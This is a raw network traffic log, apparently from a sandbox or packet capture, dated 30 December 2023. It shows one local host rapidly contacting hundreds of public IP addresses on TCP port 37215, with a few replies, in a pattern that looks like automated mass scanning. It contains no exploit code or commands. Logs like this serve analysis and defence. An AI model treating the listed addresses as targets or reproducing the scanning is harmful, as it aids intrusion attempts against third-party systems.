Dec 30, 2023 07:13:50.365856886 CET	3641	37215	192.168.2.23	154.249.176.180
Dec 30, 2023 07:13:50.365856886 CET	3641	37215	192.168.2.23	197.239.248.200
Dec 30, 2023 07:13:50.365858078 CET	3641	37215	192.168.2.23	92.120.239.143
Dec 30, 2023 07:13:50.365859032 CET	3641	37215	192.168.2.23	197.137.174.255
Dec 30, 2023 07:13:50.365856886 CET	3641	37215	192.168.2.23	156.202.104.100
Dec 30, 2023 07:13:50.365860939 CET	3641	37215	192.168.2.23	197.236.134.65
Dec 30, 2023 07:13:50.365856886 CET	3641	37215	192.168.2.23	120.73.20.130
Dec 30, 2023 07:13:50.365864038 CET	3641	37215	192.168.2.23	197.24.143.221
Dec 30, 2023 07:13:50.365864038 CET	3641	37215	192.168.2.23	156.160.109.194
Dec 30, 2023 07:13:50.365869999 CET	3641	37215	192.168.2.23	156.107.28.39
Dec 30, 2023 07:13:50.365870953 CET	3641	37215	192.168.2.23	197.244.57.8
Dec 30, 2023 07:13:50.365874052 CET	3641	37215	192.168.2.23	120.205.236.179
Dec 30, 2023 07:13:50.365874052 CET	3641	37215	192.168.2.23	197.122.54.239
Dec 30, 2023 07:13:50.365874052 CET	3641	37215	192.168.2.23	197.0.178.111
Dec 30, 2023 07:13:50.365881920 CET	3641	37215	192.168.2.23	156.51.12.181
Dec 30, 2023 07:13:50.365881920 CET	3641	37215	192.168.2.23	41.234.228.189
Dec 30, 2023 07:13:50.365881920 CET	3641	37215	192.168.2.23	41.63.6.157
Dec 30, 2023 07:13:50.365883112 CET	3641	37215	192.168.2.23	197.29.161.206
Dec 30, 2023 07:13:50.365883112 CET	3641	37215	192.168.2.23	197.142.174.163
Dec 30, 2023 07:13:50.365883112 CET	3641	37215	192.168.2.23	197.192.185.170
Dec 30, 2023 07:13:50.365886927 CET	3641	37215	192.168.2.23	157.88.106.34
Dec 30, 2023 07:13:50.365889072 CET	3641	37215	192.168.2.23	41.217.10.175
Dec 30, 2023 07:13:50.365890026 CET	3641	37215	192.168.2.23	156.97.86.128
Dec 30, 2023 07:13:50.365892887 CET	3641	37215	192.168.2.23	222.178.204.100
Dec 30, 2023 07:13:50.365892887 CET	3641	37215	192.168.2.23	156.31.151.65
Dec 30, 2023 07:13:50.365904093 CET	3641	37215	192.168.2.23	156.45.125.182
Dec 30, 2023 07:13:50.365911961 CET	3641	37215	192.168.2.23	156.234.54.236
Dec 30, 2023 07:13:50.365911961 CET	3641	37215	192.168.2.23	41.127.199.128
Dec 30, 2023 07:13:50.365912914 CET	3641	37215	192.168.2.23	222.185.79.63
Dec 30, 2023 07:13:50.365916014 CET	3641	37215	192.168.2.23	197.151.222.59
Dec 30, 2023 07:13:50.365916014 CET	3641	37215	192.168.2.23	156.56.175.34
Dec 30, 2023 07:13:50.365930080 CET	3641	37215	192.168.2.23	181.116.201.236
Dec 30, 2023 07:13:50.365930080 CET	3641	37215	192.168.2.23	160.138.113.45
Dec 30, 2023 07:13:50.365942001 CET	3641	37215	192.168.2.23	41.94.169.189
Dec 30, 2023 07:13:50.365942001 CET	3641	37215	192.168.2.23	41.46.106.77
Dec 30, 2023 07:13:50.365946054 CET	3641	37215	192.168.2.23	41.251.216.128
Dec 30, 2023 07:13:50.365947008 CET	3641	37215	192.168.2.23	197.78.132.169
Dec 30, 2023 07:13:50.365952015 CET	3641	37215	192.168.2.23	157.65.250.254
Dec 30, 2023 07:13:50.365955114 CET	3641	37215	192.168.2.23	181.109.174.239
Dec 30, 2023 07:13:50.365958929 CET	3641	37215	192.168.2.23	41.27.76.199
Dec 30, 2023 07:13:50.365967035 CET	3641	37215	192.168.2.23	41.8.176.9
Dec 30, 2023 07:13:50.365972042 CET	3641	37215	192.168.2.23	102.171.123.35
Dec 30, 2023 07:13:50.365976095 CET	3641	37215	192.168.2.23	41.253.106.241
Dec 30, 2023 07:13:50.365986109 CET	3641	37215	192.168.2.23	120.127.125.232
Dec 30, 2023 07:13:50.365986109 CET	3641	37215	192.168.2.23	156.122.44.6
Dec 30, 2023 07:13:50.365986109 CET	3641	37215	192.168.2.23	197.12.149.251
Dec 30, 2023 07:13:50.365994930 CET	3641	37215	192.168.2.23	41.18.206.228
Dec 30, 2023 07:13:50.365998983 CET	3641	37215	192.168.2.23	156.170.124.236
Dec 30, 2023 07:13:50.366000891 CET	3641	37215	192.168.2.23	222.202.225.170
Dec 30, 2023 07:13:50.366000891 CET	3641	37215	192.168.2.23	190.72.58.112
Dec 30, 2023 07:13:50.366002083 CET	3641	37215	192.168.2.23	156.33.175.105
Dec 30, 2023 07:13:50.366003990 CET	3641	37215	192.168.2.23	160.73.105.14
Dec 30, 2023 07:13:50.366003990 CET	3641	37215	192.168.2.23	160.79.75.236
Dec 30, 2023 07:13:50.366012096 CET	3641	37215	192.168.2.23	41.71.24.143
Dec 30, 2023 07:13:50.366023064 CET	3641	37215	192.168.2.23	197.25.80.48
Dec 30, 2023 07:13:50.366025925 CET	3641	37215	192.168.2.23	121.232.92.108
Dec 30, 2023 07:13:50.366031885 CET	3641	37215	192.168.2.23	41.164.136.136
Dec 30, 2023 07:13:50.366031885 CET	3641	37215	192.168.2.23	41.20.228.137
Dec 30, 2023 07:13:50.366050959 CET	3641	37215	192.168.2.23	138.62.73.54
Dec 30, 2023 07:13:50.366053104 CET	3641	37215	192.168.2.23	41.141.0.54
Dec 30, 2023 07:13:50.366053104 CET	3641	37215	192.168.2.23	41.32.149.134
Dec 30, 2023 07:13:50.366058111 CET	3641	37215	192.168.2.23	154.133.223.231
Dec 30, 2023 07:13:50.366058111 CET	3641	37215	192.168.2.23	197.107.235.159
Dec 30, 2023 07:13:50.366059065 CET	3641	37215	192.168.2.23	197.241.216.104
Dec 30, 2023 07:13:50.366066933 CET	3641	37215	192.168.2.23	41.69.162.42
Dec 30, 2023 07:13:50.366067886 CET	3641	37215	192.168.2.23	197.88.130.58
Dec 30, 2023 07:13:50.366067886 CET	3641	37215	192.168.2.23	41.39.32.91
Dec 30, 2023 07:13:50.366067886 CET	3641	37215	192.168.2.23	156.175.118.190
Dec 30, 2023 07:13:50.366067886 CET	3641	37215	192.168.2.23	156.25.41.122
Dec 30, 2023 07:13:50.366075039 CET	3641	37215	192.168.2.23	181.223.170.42
Dec 30, 2023 07:13:50.366079092 CET	3641	37215	192.168.2.23	197.187.86.202
Dec 30, 2023 07:13:50.366079092 CET	3641	37215	192.168.2.23	41.225.237.81
Dec 30, 2023 07:13:50.366080999 CET	3641	37215	192.168.2.23	160.184.197.131
Dec 30, 2023 07:13:50.366080999 CET	3641	37215	192.168.2.23	41.217.71.165
Dec 30, 2023 07:13:50.366080999 CET	3641	37215	192.168.2.23	41.227.58.67
Dec 30, 2023 07:13:50.366084099 CET	3641	37215	192.168.2.23	95.96.224.122
Dec 30, 2023 07:13:50.366085052 CET	3641	37215	192.168.2.23	222.154.118.118
Dec 30, 2023 07:13:50.366085052 CET	3641	37215	192.168.2.23	154.227.36.114
Dec 30, 2023 07:13:50.366089106 CET	3641	37215	192.168.2.23	37.0.240.49
Dec 30, 2023 07:13:50.366091967 CET	3641	37215	192.168.2.23	156.235.149.79
Dec 30, 2023 07:13:50.366091967 CET	3641	37215	192.168.2.23	156.83.171.15
Dec 30, 2023 07:13:50.366091967 CET	3641	37215	192.168.2.23	41.212.121.71
Dec 30, 2023 07:13:50.366099119 CET	3641	37215	192.168.2.23	41.210.99.103
Dec 30, 2023 07:13:50.366101027 CET	3641	37215	192.168.2.23	197.238.142.115
Dec 30, 2023 07:13:50.366101027 CET	3641	37215	192.168.2.23	197.129.91.247
Dec 30, 2023 07:13:50.366105080 CET	3641	37215	192.168.2.23	41.218.145.207
Dec 30, 2023 07:13:50.366105080 CET	3641	37215	192.168.2.23	41.46.209.142
Dec 30, 2023 07:13:50.366105080 CET	3641	37215	192.168.2.23	197.13.46.52
Dec 30, 2023 07:13:50.366105080 CET	3641	37215	192.168.2.23	41.140.56.122
Dec 30, 2023 07:13:50.366106987 CET	3641	37215	192.168.2.23	156.39.48.69
Dec 30, 2023 07:13:50.366106987 CET	3641	37215	192.168.2.23	197.188.44.31
Dec 30, 2023 07:13:50.366108894 CET	3641	37215	192.168.2.23	196.202.187.113
Dec 30, 2023 07:13:50.366116047 CET	3641	37215	192.168.2.23	197.33.124.67
Dec 30, 2023 07:13:50.366131067 CET	3641	37215	192.168.2.23	41.143.25.29
Dec 30, 2023 07:13:50.366131067 CET	3641	37215	192.168.2.23	156.31.211.169
Dec 30, 2023 07:13:50.366133928 CET	3641	37215	192.168.2.23	156.51.203.195
Dec 30, 2023 07:13:50.366136074 CET	3641	37215	192.168.2.23	197.25.196.240
Dec 30, 2023 07:13:50.366136074 CET	3641	37215	192.168.2.23	41.103.198.119
Dec 30, 2023 07:13:50.366138935 CET	3641	37215	192.168.2.23	94.37.243.67
Dec 30, 2023 07:13:50.366148949 CET	3641	37215	192.168.2.23	120.252.8.199
Dec 30, 2023 07:13:50.366153955 CET	3641	37215	192.168.2.23	45.141.198.56
Dec 30, 2023 07:13:50.366162062 CET	3641	37215	192.168.2.23	197.230.177.158
Dec 30, 2023 07:13:50.366166115 CET	3641	37215	192.168.2.23	156.145.223.253
Dec 30, 2023 07:13:50.366166115 CET	3641	37215	192.168.2.23	41.243.8.85
Dec 30, 2023 07:13:50.366168976 CET	3641	37215	192.168.2.23	197.163.199.247
Dec 30, 2023 07:13:50.366168976 CET	3641	37215	192.168.2.23	156.204.13.21
Dec 30, 2023 07:13:50.366168976 CET	3641	37215	192.168.2.23	92.178.50.144
Dec 30, 2023 07:13:50.366170883 CET	3641	37215	192.168.2.23	156.105.119.90
Dec 30, 2023 07:13:50.366170883 CET	3641	37215	192.168.2.23	122.196.176.252
Dec 30, 2023 07:13:50.366178989 CET	3641	37215	192.168.2.23	154.239.166.152
Dec 30, 2023 07:13:50.366180897 CET	3641	37215	192.168.2.23	107.98.113.63
Dec 30, 2023 07:13:50.366180897 CET	3641	37215	192.168.2.23	45.188.251.121
Dec 30, 2023 07:13:50.366180897 CET	3641	37215	192.168.2.23	122.151.26.160
Dec 30, 2023 07:13:50.366182089 CET	3641	37215	192.168.2.23	156.144.204.73
Dec 30, 2023 07:13:50.366182089 CET	3641	37215	192.168.2.23	197.219.126.180
Dec 30, 2023 07:13:50.366182089 CET	3641	37215	192.168.2.23	41.242.111.87
Dec 30, 2023 07:13:50.366183043 CET	3641	37215	192.168.2.23	45.199.160.67
Dec 30, 2023 07:13:50.366185904 CET	3641	37215	192.168.2.23	45.49.33.188
Dec 30, 2023 07:13:50.366203070 CET	3641	37215	192.168.2.23	156.216.245.172
Dec 30, 2023 07:13:50.366204023 CET	3641	37215	192.168.2.23	156.122.158.101
Dec 30, 2023 07:13:50.366214037 CET	3641	37215	192.168.2.23	41.50.21.171
Dec 30, 2023 07:13:50.366214037 CET	3641	37215	192.168.2.23	190.127.3.91
Dec 30, 2023 07:13:50.366216898 CET	3641	37215	192.168.2.23	156.108.69.242
Dec 30, 2023 07:13:50.366219044 CET	3641	37215	192.168.2.23	154.236.42.162
Dec 30, 2023 07:13:50.366231918 CET	3641	37215	192.168.2.23	156.151.243.5
Dec 30, 2023 07:13:50.366233110 CET	3641	37215	192.168.2.23	156.79.77.90
Dec 30, 2023 07:13:50.366235018 CET	3641	37215	192.168.2.23	120.110.10.247
Dec 30, 2023 07:13:50.366240978 CET	3641	37215	192.168.2.23	95.44.221.184
Dec 30, 2023 07:13:50.366245031 CET	3641	37215	192.168.2.23	37.51.246.190
Dec 30, 2023 07:13:50.366245985 CET	3641	37215	192.168.2.23	156.197.124.158
Dec 30, 2023 07:13:50.366245985 CET	3641	37215	192.168.2.23	197.6.42.49
Dec 30, 2023 07:13:50.366250038 CET	3641	37215	192.168.2.23	156.188.186.167
Dec 30, 2023 07:13:50.366250038 CET	3641	37215	192.168.2.23	41.99.29.13
Dec 30, 2023 07:13:50.366250992 CET	3641	37215	192.168.2.23	107.136.2.130
Dec 30, 2023 07:13:50.366252899 CET	3641	37215	192.168.2.23	222.13.157.198
Dec 30, 2023 07:13:50.366360903 CET	42718	37215	192.168.2.23	156.73.139.174
Dec 30, 2023 07:13:50.377940893 CET	54650	37215	192.168.2.23	156.73.184.25
Dec 30, 2023 07:13:50.377943993 CET	48908	37215	192.168.2.23	156.73.118.155
Dec 30, 2023 07:13:50.514137030 CET	37215	3641	160.73.105.14	192.168.2.23
Dec 30, 2023 07:13:50.541924953 CET	37215	3641	156.251.185.203	192.168.2.23
Dec 30, 2023 07:13:50.614140987 CET	37215	3641	95.176.14.1	192.168.2.23
Dec 30, 2023 07:13:50.631015062 CET	37215	3641	45.141.198.56	192.168.2.23
Dec 30, 2023 07:13:50.662661076 CET	37215	3641	121.174.0.170	192.168.2.23
Dec 30, 2023 07:13:50.662805080 CET	37215	3641	156.234.147.51	192.168.2.23
Dec 30, 2023 07:13:50.681268930 CET	37215	3641	154.39.104.149	192.168.2.23
Dec 30, 2023 07:13:50.703236103 CET	37215	3641	102.24.218.231	192.168.2.23
Dec 30, 2023 07:13:50.703301907 CET	3641	37215	192.168.2.23	102.24.218.231
Dec 30, 2023 07:13:50.711246014 CET	37215	3641	102.24.218.231	192.168.2.23
Dec 30, 2023 07:13:50.716187954 CET	37215	3641	94.182.60.37	192.168.2.23
Dec 30, 2023 07:13:50.740742922 CET	37215	3641	122.158.167.81	192.168.2.23
Dec 30, 2023 07:13:50.768302917 CET	37215	3641	41.0.91.19	192.168.2.23
Dec 30, 2023 07:13:50.768347979 CET	3641	37215	192.168.2.23	41.0.91.19
Dec 30, 2023 07:13:50.773278952 CET	37215	3641	222.202.225.170	192.168.2.23
Dec 30, 2023 07:13:50.938564062 CET	37215	3641	197.5.0.232	192.168.2.23
Dec 30, 2023 07:13:51.367288113 CET	3641	37215	192.168.2.23	156.38.146.0
Dec 30, 2023 07:13:51.367291927 CET	3641	37215	192.168.2.23	156.176.255.10
Dec 30, 2023 07:13:51.367294073 CET	3641	37215	192.168.2.23	197.225.139.188
Dec 30, 2023 07:13:51.367309093 CET	3641	37215	192.168.2.23	41.151.175.49
Dec 30, 2023 07:13:51.367309093 CET	3641	37215	192.168.2.23	156.61.247.0
Dec 30, 2023 07:13:51.367309093 CET	3641	37215	192.168.2.23	41.187.248.213
Dec 30, 2023 07:13:51.367310047 CET	3641	37215	192.168.2.23	138.247.74.167
Dec 30, 2023 07:13:51.367330074 CET	3641	37215	192.168.2.23	186.224.11.24
Dec 30, 2023 07:13:51.367336035 CET	3641	37215	192.168.2.23	41.217.168.195
Dec 30, 2023 07:13:51.367337942 CET	3641	37215	192.168.2.23	94.229.146.130
Dec 30, 2023 07:13:51.367347956 CET	3641	37215	192.168.2.23	120.122.114.61
Dec 30, 2023 07:13:51.367352009 CET	3641	37215	192.168.2.23	160.62.72.94
Dec 30, 2023 07:13:51.367352009 CET	3641	37215	192.168.2.23	41.156.233.24
Dec 30, 2023 07:13:51.367352962 CET	3641	37215	192.168.2.23	156.22.122.156
Dec 30, 2023 07:13:51.367352009 CET	3641	37215	192.168.2.23	156.75.3.28
Dec 30, 2023 07:13:51.367362022 CET	3641	37215	192.168.2.23	122.33.198.177
Dec 30, 2023 07:13:51.367363930 CET	3641	37215	192.168.2.23	222.171.241.148
Dec 30, 2023 07:13:51.367363930 CET	3641	37215	192.168.2.23	156.209.72.194
Dec 30, 2023 07:13:51.367366076 CET	3641	37215	192.168.2.23	41.189.84.210
Dec 30, 2023 07:13:51.367374897 CET	3641	37215	192.168.2.23	197.70.194.184
Dec 30, 2023 07:13:51.367377996 CET	3641	37215	192.168.2.23	181.144.250.15
Dec 30, 2023 07:13:51.367377996 CET	3641	37215	192.168.2.23	120.221.14.166
Dec 30, 2023 07:13:51.367378950 CET	3641	37215	192.168.2.23	197.104.98.133
Dec 30, 2023 07:13:51.367378950 CET	3641	37215	192.168.2.23	41.145.207.78
Dec 30, 2023 07:13:51.367378950 CET	3641	37215	192.168.2.23	41.167.29.57
Dec 30, 2023 07:13:51.367378950 CET	3641	37215	192.168.2.23	181.34.117.62
Dec 30, 2023 07:13:51.367379904 CET	3641	37215	192.168.2.23	41.56.227.196
Dec 30, 2023 07:13:51.367379904 CET	3641	37215	192.168.2.23	154.223.243.107
Dec 30, 2023 07:13:51.367379904 CET	3641	37215	192.168.2.23	107.44.113.33
Dec 30, 2023 07:13:51.367383003 CET	3641	37215	192.168.2.23	157.61.63.0
Dec 30, 2023 07:13:51.367383003 CET	3641	37215	192.168.2.23	107.110.17.67
Dec 30, 2023 07:13:51.367383003 CET	3641	37215	192.168.2.23	196.26.251.156
Dec 30, 2023 07:13:51.367387056 CET	3641	37215	192.168.2.23	41.98.13.200
Dec 30, 2023 07:13:51.367387056 CET	3641	37215	192.168.2.23	41.202.100.102
Dec 30, 2023 07:13:51.367391109 CET	3641	37215	192.168.2.23	196.94.236.212
Dec 30, 2023 07:13:51.367393017 CET	3641	37215	192.168.2.23	121.185.87.120
Dec 30, 2023 07:13:51.367403984 CET	3641	37215	192.168.2.23	197.170.104.112
Dec 30, 2023 07:13:51.367403984 CET	3641	37215	192.168.2.23	197.55.14.187
Dec 30, 2023 07:13:51.367403984 CET	3641	37215	192.168.2.23	197.222.73.238
Dec 30, 2023 07:13:51.367407084 CET	3641	37215	192.168.2.23	156.97.57.51
Dec 30, 2023 07:13:51.367408991 CET	3641	37215	192.168.2.23	41.131.47.213
Dec 30, 2023 07:13:51.367409945 CET	3641	37215	192.168.2.23	197.131.139.70
Dec 30, 2023 07:13:51.367410898 CET	3641	37215	192.168.2.23	156.0.42.123
Dec 30, 2023 07:13:51.367410898 CET	3641	37215	192.168.2.23	186.33.229.40
Dec 30, 2023 07:13:51.367410898 CET	3641	37215	192.168.2.23	160.36.215.72
Dec 30, 2023 07:13:51.367412090 CET	3641	37215	192.168.2.23	156.144.247.253
Dec 30, 2023 07:13:51.367418051 CET	3641	37215	192.168.2.23	197.37.125.249
Dec 30, 2023 07:13:51.367422104 CET	3641	37215	192.168.2.23	102.247.77.182
Dec 30, 2023 07:13:51.367422104 CET	3641	37215	192.168.2.23	156.10.150.16
Dec 30, 2023 07:13:51.367424965 CET	3641	37215	192.168.2.23	197.255.140.213
Dec 30, 2023 07:13:51.367424965 CET	3641	37215	192.168.2.23	138.76.184.246
Dec 30, 2023 07:13:51.367425919 CET	3641	37215	192.168.2.23	156.26.46.237
Dec 30, 2023 07:13:51.367424965 CET	3641	37215	192.168.2.23	156.224.174.11
Dec 30, 2023 07:13:51.367434978 CET	3641	37215	192.168.2.23	156.85.152.200
Dec 30, 2023 07:13:51.367436886 CET	3641	37215	192.168.2.23	41.196.222.153
Dec 30, 2023 07:13:51.367440939 CET	3641	37215	192.168.2.23	41.64.8.157
Dec 30, 2023 07:13:51.367441893 CET	3641	37215	192.168.2.23	186.93.161.157
Dec 30, 2023 07:13:51.367441893 CET	3641	37215	192.168.2.23	156.186.172.80
Dec 30, 2023 07:13:51.367444038 CET	3641	37215	192.168.2.23	156.128.6.77
Dec 30, 2023 07:13:51.367444038 CET	3641	37215	192.168.2.23	156.101.133.5
Dec 30, 2023 07:13:51.367444038 CET	3641	37215	192.168.2.23	92.181.175.9
Dec 30, 2023 07:13:51.367455006 CET	3641	37215	192.168.2.23	156.92.224.131
Dec 30, 2023 07:13:51.367456913 CET	3641	37215	192.168.2.23	197.54.247.158
Dec 30, 2023 07:13:51.367456913 CET	3641	37215	192.168.2.23	41.87.205.9
Dec 30, 2023 07:13:51.367456913 CET	3641	37215	192.168.2.23	196.113.157.69
Dec 30, 2023 07:13:51.367459059 CET	3641	37215	192.168.2.23	41.70.215.220
Dec 30, 2023 07:13:51.367459059 CET	3641	37215	192.168.2.23	156.68.102.66
Dec 30, 2023 07:13:51.367459059 CET	3641	37215	192.168.2.23	197.35.44.195
Dec 30, 2023 07:13:51.367459059 CET	3641	37215	192.168.2.23	41.111.248.206
Dec 30, 2023 07:13:51.367460012 CET	3641	37215	192.168.2.23	196.244.107.236
Dec 30, 2023 07:13:51.367460966 CET	3641	37215	192.168.2.23	122.61.34.87
Dec 30, 2023 07:13:51.367470980 CET	3641	37215	192.168.2.23	197.223.49.69
Dec 30, 2023 07:13:51.367471933 CET	3641	37215	192.168.2.23	156.97.228.75
Dec 30, 2023 07:13:51.367472887 CET	3641	37215	192.168.2.23	160.247.244.186
Dec 30, 2023 07:13:51.367474079 CET	3641	37215	192.168.2.23	102.60.79.8
Dec 30, 2023 07:13:51.367472887 CET	3641	37215	192.168.2.23	197.12.221.180
Dec 30, 2023 07:13:51.367475033 CET	3641	37215	192.168.2.23	156.14.69.34
Dec 30, 2023 07:13:51.367496014 CET	3641	37215	192.168.2.23	156.164.188.153
Dec 30, 2023 07:13:51.367496967 CET	3641	37215	192.168.2.23	157.65.181.156
Dec 30, 2023 07:13:51.367496967 CET	3641	37215	192.168.2.23	41.240.104.231
Dec 30, 2023 07:13:51.367501020 CET	3641	37215	192.168.2.23	197.169.53.112
Dec 30, 2023 07:13:51.367501020 CET	3641	37215	192.168.2.23	157.171.226.232
Dec 30, 2023 07:13:51.367501020 CET	3641	37215	192.168.2.23	156.76.13.92
Dec 30, 2023 07:13:51.367505074 CET	3641	37215	192.168.2.23	197.230.9.229
Dec 30, 2023 07:13:51.367506981 CET	3641	37215	192.168.2.23	197.115.56.49
Dec 30, 2023 07:13:51.367506981 CET	3641	37215	192.168.2.23	197.229.221.185
Dec 30, 2023 07:13:51.367506981 CET	3641	37215	192.168.2.23	156.19.110.45
Dec 30, 2023 07:13:51.367507935 CET	3641	37215	192.168.2.23	107.80.79.82
Dec 30, 2023 07:13:51.367507935 CET	3641	37215	192.168.2.23	197.63.137.222
Dec 30, 2023 07:13:51.367527008 CET	3641	37215	192.168.2.23	196.199.16.234
Dec 30, 2023 07:13:51.367527008 CET	3641	37215	192.168.2.23	41.209.253.117
Dec 30, 2023 07:13:51.367533922 CET	3641	37215	192.168.2.23	197.88.73.128
Dec 30, 2023 07:13:51.367533922 CET	3641	37215	192.168.2.23	197.100.185.251
Dec 30, 2023 07:13:51.367536068 CET	3641	37215	192.168.2.23	190.220.211.244
Dec 30, 2023 07:13:51.367536068 CET	3641	37215	192.168.2.23	197.195.113.35
Dec 30, 2023 07:13:51.367536068 CET	3641	37215	192.168.2.23	92.162.10.113
Dec 30, 2023 07:13:51.367537975 CET	3641	37215	192.168.2.23	197.164.25.142
Dec 30, 2023 07:13:51.367536068 CET	3641	37215	192.168.2.23	41.37.9.155
Dec 30, 2023 07:13:51.367539883 CET	3641	37215	192.168.2.23	45.185.6.242
Dec 30, 2023 07:13:51.367539883 CET	3641	37215	192.168.2.23	37.36.221.33
Dec 30, 2023 07:13:51.367539883 CET	3641	37215	192.168.2.23	107.204.51.231
Dec 30, 2023 07:13:51.367539883 CET	3641	37215	192.168.2.23	197.26.40.165
Dec 30, 2023 07:13:51.367537975 CET	3641	37215	192.168.2.23	197.82.214.101
Dec 30, 2023 07:13:51.367546082 CET	3641	37215	192.168.2.23	196.251.132.152
Dec 30, 2023 07:13:51.367546082 CET	3641	37215	192.168.2.23	37.68.93.98
Dec 30, 2023 07:13:51.367547035 CET	3641	37215	192.168.2.23	41.120.25.57
Dec 30, 2023 07:13:51.367547035 CET	3641	37215	192.168.2.23	197.22.147.160
Dec 30, 2023 07:13:51.367547035 CET	3641	37215	192.168.2.23	197.201.230.208
Dec 30, 2023 07:13:51.367562056 CET	3641	37215	192.168.2.23	41.11.80.151
Dec 30, 2023 07:13:51.367562056 CET	3641	37215	192.168.2.23	156.208.117.194
Dec 30, 2023 07:13:51.367566109 CET	3641	37215	192.168.2.23	197.78.210.175
Dec 30, 2023 07:13:51.367568970 CET	3641	37215	192.168.2.23	156.224.142.84
Dec 30, 2023 07:13:51.367569923 CET	3641	37215	192.168.2.23	190.38.59.86
Dec 30, 2023 07:13:51.367569923 CET	3641	37215	192.168.2.23	156.109.150.157
Dec 30, 2023 07:13:51.367569923 CET	3641	37215	192.168.2.23	186.246.149.108
Dec 30, 2023 07:13:51.367569923 CET	3641	37215	192.168.2.23	41.4.84.35
Dec 30, 2023 07:13:51.367569923 CET	3641	37215	192.168.2.23	94.0.98.167
Dec 30, 2023 07:13:51.367569923 CET	3641	37215	192.168.2.23	197.245.21.120
Dec 30, 2023 07:13:51.367573023 CET	3641	37215	192.168.2.23	41.138.155.138
Dec 30, 2023 07:13:51.367573023 CET	3641	37215	192.168.2.23	197.5.61.98
Dec 30, 2023 07:13:51.367573023 CET	3641	37215	192.168.2.23	197.148.131.5
Dec 30, 2023 07:13:51.367573023 CET	3641	37215	192.168.2.23	197.134.210.38
Dec 30, 2023 07:13:51.367575884 CET	3641	37215	192.168.2.23	41.12.166.152
Dec 30, 2023 07:13:51.367575884 CET	3641	37215	192.168.2.23	94.53.38.166
Dec 30, 2023 07:13:51.367575884 CET	3641	37215	192.168.2.23	138.153.118.48
Dec 30, 2023 07:13:51.367594957 CET	3641	37215	192.168.2.23	41.174.99.189
Dec 30, 2023 07:13:51.367594957 CET	3641	37215	192.168.2.23	160.92.136.243
Dec 30, 2023 07:13:51.367594957 CET	3641	37215	192.168.2.23	156.242.155.72
Dec 30, 2023 07:13:51.367594957 CET	3641	37215	192.168.2.23	197.172.223.31
Dec 30, 2023 07:13:51.367595911 CET	3641	37215	192.168.2.23	156.230.144.45
Dec 30, 2023 07:13:51.367595911 CET	3641	37215	192.168.2.23	37.229.219.155
Dec 30, 2023 07:13:51.367595911 CET	3641	37215	192.168.2.23	41.122.25.65
Dec 30, 2023 07:13:51.367595911 CET	3641	37215	192.168.2.23	197.238.201.76
Dec 30, 2023 07:13:51.367595911 CET	3641	37215	192.168.2.23	41.187.253.249
Dec 30, 2023 07:13:51.367595911 CET	3641	37215	192.168.2.23	41.227.166.169
Dec 30, 2023 07:13:51.367600918 CET	3641	37215	192.168.2.23	156.171.154.102
Dec 30, 2023 07:13:51.367600918 CET	3641	37215	192.168.2.23	186.207.40.215
Dec 30, 2023 07:13:51.367600918 CET	3641	37215	192.168.2.23	156.14.34.221
Dec 30, 2023 07:13:51.367600918 CET	3641	37215	192.168.2.23	41.111.227.199
Dec 30, 2023 07:13:51.367600918 CET	3641	37215	192.168.2.23	160.227.72.246
Dec 30, 2023 07:13:51.367600918 CET	3641	37215	192.168.2.23	181.144.200.51
Dec 30, 2023 07:13:51.367600918 CET	3641	37215	192.168.2.23	197.20.149.142
Dec 30, 2023 07:13:51.367605925 CET	3641	37215	192.168.2.23	197.168.170.192
Dec 30, 2023 07:13:51.367605925 CET	3641	37215	192.168.2.23	181.237.71.125
Dec 30, 2023 07:13:51.367605925 CET	3641	37215	192.168.2.23	92.217.53.155
Dec 30, 2023 07:13:51.367605925 CET	3641	37215	192.168.2.23	156.34.218.151
Dec 30, 2023 07:13:51.367605925 CET	3641	37215	192.168.2.23	197.175.20.10
Dec 30, 2023 07:13:51.367605925 CET	3641	37215	192.168.2.23	197.156.186.161
Dec 30, 2023 07:13:51.367605925 CET	3641	37215	192.168.2.23	156.90.173.157
Dec 30, 2023 07:13:51.367605925 CET	3641	37215	192.168.2.23	156.253.68.8
Dec 30, 2023 07:13:51.367610931 CET	3641	37215	192.168.2.23	156.23.105.66
Dec 30, 2023 07:13:51.367610931 CET	3641	37215	192.168.2.23	41.109.165.216
Dec 30, 2023 07:13:51.367610931 CET	3641	37215	192.168.2.23	156.16.54.159
Dec 30, 2023 07:13:51.367610931 CET	3641	37215	192.168.2.23	156.6.165.240
Dec 30, 2023 07:13:51.367610931 CET	3641	37215	192.168.2.23	121.29.120.204
Dec 30, 2023 07:13:51.367610931 CET	3641	37215	192.168.2.23	138.129.128.72
Dec 30, 2023 07:13:51.367610931 CET	3641	37215	192.168.2.23	156.18.17.111
Dec 30, 2023 07:13:51.367610931 CET	3641	37215	192.168.2.23	41.244.7.195
Dec 30, 2023 07:13:51.367610931 CET	3641	37215	192.168.2.23	41.86.129.182
Dec 30, 2023 07:13:51.367610931 CET	3641	37215	192.168.2.23	197.56.171.126
Dec 30, 2023 07:13:51.367616892 CET	3641	37215	192.168.2.23	41.190.219.244
Dec 30, 2023 07:13:51.367616892 CET	3641	37215	192.168.2.23	197.115.116.13
Dec 30, 2023 07:13:51.367616892 CET	3641	37215	192.168.2.23	160.81.100.149
Dec 30, 2023 07:13:51.367616892 CET	3641	37215	192.168.2.23	156.194.19.131
Dec 30, 2023 07:13:51.367616892 CET	3641	37215	192.168.2.23	156.145.38.58
Dec 30, 2023 07:13:51.367616892 CET	3641	37215	192.168.2.23	45.143.200.177
Dec 30, 2023 07:13:51.367616892 CET	3641	37215	192.168.2.23	37.39.54.109
Dec 30, 2023 07:13:51.367616892 CET	3641	37215	192.168.2.23	197.117.13.192
Dec 30, 2023 07:13:51.367630959 CET	3641	37215	192.168.2.23	156.163.2.228
Dec 30, 2023 07:13:51.367630959 CET	3641	37215	192.168.2.23	122.104.20.7
Dec 30, 2023 07:13:51.367630959 CET	3641	37215	192.168.2.23	197.77.161.79
Dec 30, 2023 07:13:51.367659092 CET	3641	37215	192.168.2.23	41.237.82.39
Dec 30, 2023 07:13:51.367659092 CET	3641	37215	192.168.2.23	95.109.214.166
Dec 30, 2023 07:13:51.367659092 CET	3641	37215	192.168.2.23	94.133.176.16
Dec 30, 2023 07:13:51.367659092 CET	3641	37215	192.168.2.23	41.39.119.152
Dec 30, 2023 07:13:51.367659092 CET	3641	37215	192.168.2.23	156.102.156.244
Dec 30, 2023 07:13:51.367659092 CET	3641	37215	192.168.2.23	41.4.237.96
Dec 30, 2023 07:13:51.367660999 CET	3641	37215	192.168.2.23	41.221.139.51
Dec 30, 2023 07:13:51.367660999 CET	3641	37215	192.168.2.23	156.142.114.59
